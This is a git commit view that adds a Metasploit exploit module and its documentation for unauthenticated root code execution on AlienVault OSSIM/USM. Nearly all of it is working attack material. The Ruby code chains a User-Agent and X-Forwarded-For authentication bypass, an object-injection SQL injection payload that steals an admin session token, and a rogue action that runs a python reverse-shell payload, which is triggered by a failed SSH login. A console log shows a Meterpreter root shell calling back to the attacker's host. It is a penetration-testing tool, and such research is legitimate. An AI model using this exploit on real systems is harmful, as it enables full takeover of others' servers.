Land #7893, Add Module AlienVault OSSIM/USM Remote Code Execution
commit
a9b9a58d4d
|
@ -0,0 +1,58 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together. Unauthenticated users can execute arbitrary commands under the context of the root user.
|
||||
|
||||
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
|
||||
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
|
||||
action and policy that enables to execute operating system commands by using captured session token. As a final step,
|
||||
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
|
||||
operating system command with root user privileges.
|
||||
|
||||
This module was tested against AlienVault USM 5.2.5.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
Major version of older releases can be found at following URL.
|
||||
[http://downloads.eu.alienvault.com/c/download](http://downloads.eu.alienvault.com/c/download)
|
||||
|
||||
You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file.
|
||||
In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) .
|
||||
Once alienvault sales team validate your information, you will be able to complete the installation with your e-mail adress.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/alienvault_exec
|
||||
msf exploit(alienvault_exec) > set RHOST 12.0.0.137
|
||||
RHOST => 12.0.0.137
|
||||
msf exploit(alienvault_exec) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf exploit(alienvault_exec) > check
|
||||
[+] 12.0.0.137:443 The target is vulnerable.
|
||||
msf exploit(alienvault_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4445
|
||||
[*] Hijacking administrator session
|
||||
[+] Admin session token : PHPSESSID=2gbhp8j5f2af0vu5es5t3083q4
|
||||
[*] Creating rogue action
|
||||
[+] Action created: aWbhnZFHqYbUbNW
|
||||
[*] Retrieving rogue action id
|
||||
[+] Corresponding Action ID found: D62A1D4A6D3AEEA65F99B606B02197A1
|
||||
[*] Retrieving policy ctx and group values
|
||||
[+] CTX Value found: 5E22D6A9E79211E6B8E4000C29F647D7
|
||||
[+] GROUP Value found: 00000000000000000000000000000000
|
||||
[*] Creating a policy that uses our rogue action
|
||||
[+] Policy created: ASdKHQOZVONGzfU
|
||||
[*] Activating the policy
|
||||
[+] Rogue policy activated
|
||||
[*] Triggering the policy by performing SSH login attempt
|
||||
[+] SSH - Failed authentication. That means our policy and action will be trigged..!
|
||||
[*] Sending stage (38500 bytes) to 12.0.0.137
|
||||
[*] Meterpreter session 6 opened (12.0.0.1:4445 -> 12.0.0.137:51674) at 2017-01-31 14:13:49 +0300
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,322 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits object injection, authentication bypass and ip spoofing vulnerabities all together.
|
||||
Unauthenticated users can execute arbitrary commands under the context of the root user.
|
||||
|
||||
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
|
||||
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
|
||||
action and policy that enables to execute operating system commands by using captured session token. As a final step,
|
||||
SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes
|
||||
operating system command with root user privileges.
|
||||
|
||||
This module was tested against following product and versions:
|
||||
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
|
||||
AlienVault OSSIM 5.0.0, 4.6.1
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Peter Lapp', # EDB advisory owner
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
|
||||
['EDB', '40682']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 10,
|
||||
'Payload' => 'python/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' =>
|
||||
[
|
||||
['Alienvault USM/OSSIM <= 5.3.0', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Jan 31 2017",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
r = rand_text_alpha(15)
|
||||
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
||||
'headers' => {
|
||||
'User-Agent' => 'AV Report Scheduler',
|
||||
},
|
||||
'vars_get' => {
|
||||
'type' => 'alarm',
|
||||
'wtype' => 'foo',
|
||||
'asset' => 'ALL_ASSETS',
|
||||
'height' => 1,
|
||||
'value' => p
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
|
||||
print_status("Hijacking administrator session")
|
||||
|
||||
sql = "SELECT id FROM sessions LIMIT 1"
|
||||
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
'User-Agent' => 'AV Report Scheduler',
|
||||
},
|
||||
'vars_get' => {
|
||||
'type' => 'alarm',
|
||||
'wtype' => 'foo',
|
||||
'asset' => 'ALL_ASSETS',
|
||||
'height' => 1,
|
||||
'value' => p
|
||||
}
|
||||
})
|
||||
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
|
||||
admin_session = $1
|
||||
cookie = "PHPSESSID=#{admin_session}"
|
||||
print_good("Admin session token : #{cookie}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
|
||||
end
|
||||
|
||||
# Creating a Action that contains payload.
|
||||
print_status("Creating rogue action")
|
||||
r = rand_text_alpha(15)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_post' => {
|
||||
'id' => '',
|
||||
'action' => 'new',
|
||||
'old_name' => '',
|
||||
'action_name' => r,
|
||||
'ctx' => '',
|
||||
'old_descr' => '',
|
||||
'descr' => r,
|
||||
'action_type' => '2',
|
||||
'only' => 'on',
|
||||
'cond' => 'True',
|
||||
'email_from' => '',
|
||||
'email_to' => 'email;email;email',
|
||||
'email_subject' => '',
|
||||
'email_message' => '',
|
||||
'transferred_user' => '',
|
||||
'transferred_entity' => '',
|
||||
'exec_command' => "python -c \"#{payload.encoded}\""
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?("Action successfully updated")
|
||||
print_good("Action created: #{r}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to create action")
|
||||
end
|
||||
|
||||
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
|
||||
# Thus we're using hijacked administrator session.
|
||||
print_status("Retrieving rogue action id")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'page' => '1',
|
||||
'rp' => '2000'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
|
||||
action_id = $1
|
||||
print_good("Corresponding Action ID found: #{action_id}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to retrieve action id")
|
||||
end
|
||||
|
||||
# Retrieving the policy data. We will use it while creating policy
|
||||
print_status("Retrieving policy ctx and group values")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'm_opt' => 'configuration',
|
||||
'sm_opt' => 'threat_intelligence',
|
||||
'h_opt' => 'policy'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
|
||||
policy_ctx = $1
|
||||
policy_group = $2
|
||||
print_good("CTX Value found: #{policy_ctx}")
|
||||
print_good("GROUP Value found: #{policy_group}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to retrieve policy data")
|
||||
end
|
||||
|
||||
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
|
||||
print_status("Creating a policy that uses our rogue action")
|
||||
policy = rand_text_alpha(15)
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_post' => {
|
||||
'descr' => policy,
|
||||
'active' => '1',
|
||||
'group' => policy_group,
|
||||
'ctx' => policy_ctx,
|
||||
'order' => '1',
|
||||
'action' => 'new',
|
||||
'sources[]' => '00000000000000000000000000000000',
|
||||
'dests[]' => '00000000000000000000000000000000',
|
||||
'portsrc[]' => '0',
|
||||
'portdst[]' => '0',
|
||||
'plug_type' => '1',
|
||||
'plugins[0]' => 'on',
|
||||
'taxfilters[]' =>'25@2@0',
|
||||
'tax_pt' => '0',
|
||||
'tax_cat' => '0',
|
||||
'tax_subc' => '0',
|
||||
'mboxs[]' => '00000000000000000000000000000000',
|
||||
'rep_act' => '0',
|
||||
'rep_sev' => '1',
|
||||
'rep_rel' => '1',
|
||||
'rep_dir' => '0',
|
||||
'ev_sev' => '1',
|
||||
'ev_rel' => '1',
|
||||
'tzone' => 'Europe/Istanbul',
|
||||
'date_type' => '1',
|
||||
'begin_hour' => '0',
|
||||
'begin_minute' => '0',
|
||||
'begin_day_week' => '1',
|
||||
'begin_day_month' => '1',
|
||||
'begin_month' => '1',
|
||||
'end_hour' => '23',
|
||||
'end_minute' => '59',
|
||||
'end_day_week' => '7',
|
||||
'end_day_month' => '31',
|
||||
'end_month' => '12',
|
||||
'actions[]' => action_id,
|
||||
'sim' => '1',
|
||||
'priority' => '1',
|
||||
'qualify' => '1',
|
||||
'correlate' => '0',
|
||||
'cross_correlate' => '0',
|
||||
'store' => '0'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("Policy created: #{policy}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unable to create policy id")
|
||||
end
|
||||
|
||||
# We gotta reload all policies in order to make our rogue one enabled.
|
||||
print_status("Activating the policy")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'X-Forwarded-For' => rhost.to_s,
|
||||
},
|
||||
'vars_get' => {
|
||||
'what' => 'policies',
|
||||
'back' => '../policy/policy.php'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("Rogue policy activated")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
|
||||
end
|
||||
|
||||
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
auth_methods: ['password'],
|
||||
port: 22,
|
||||
use_agent: false,
|
||||
config: false,
|
||||
password: rand_text_alpha(15),
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
}
|
||||
|
||||
print_status("Triggering the policy by performing SSH login attempt")
|
||||
|
||||
begin
|
||||
Net::SSH.start(rhost, "root", opts)
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error("SSH Error: #{e.class} : #{e.message}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue